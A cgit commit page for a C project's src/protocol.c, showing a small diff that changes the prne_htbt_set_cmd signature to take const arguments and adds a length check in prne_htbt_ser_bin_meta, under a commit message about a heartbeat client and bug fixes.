aboutsummaryrefslogtreecommitdiff
path: root/src/protocol.c
diff options
context:
space:
mode:
authorDavid Timber <mieabby@gmail.com>2021-07-14 11:06:56 +1000
committerDavid Timber <mieabby@gmail.com>2021-07-14 11:06:56 +1000
commit5c70a63e02ae26bdfae14444d91f5f96bf74f505 (patch)
tree53fc063013b915ae0cec032d50e038ea11b2c3fd /src/protocol.c
parent035df3be909e1c2509814f870c2d10edfa23576d (diff)
Impl proone-htbtclient, htbt bugfixes ...
* htbt * Fix stdout-stderr round-robin sending algo in htbt_relay_child() * Fix logic error and crash bug in htbt_slv_srv_bin() * Impl proone-htbtclient runcmd command * Change signature of prne_htbt_set_cmd()
Diffstat (limited to 'src/protocol.c')
-rw-r--r--src/protocol.c6
1 files changed, 5 insertions, 1 deletions
diff --git a/src/protocol.c b/src/protocol.c
index 6598ad8..cc1fc0d 100644
--- a/src/protocol.c
+++ b/src/protocol.c
@@ -396,7 +396,7 @@ ERR:
return false;
}
-bool prne_htbt_set_cmd (prne_htbt_cmd_t *cmd, char **const args) {
+bool prne_htbt_set_cmd (prne_htbt_cmd_t *cmd, const char **args) {
size_t *args_len = NULL;
size_t i, argc;
bool ret = true;
@@ -698,6 +698,10 @@ prne_htbt_ser_rc_t prne_htbt_ser_bin_meta (
{
*actual = in->cmd.mem_len + 5;
+ if (in->bin_size > PRNE_HTBT_BIN_LEN_MAX) {
+ return PRNE_HTBT_SER_RC_FMT_ERR;
+ }
+
if (mem_len < *actual) {
return PRNE_HTBT_SER_RC_MORE_BUF;
}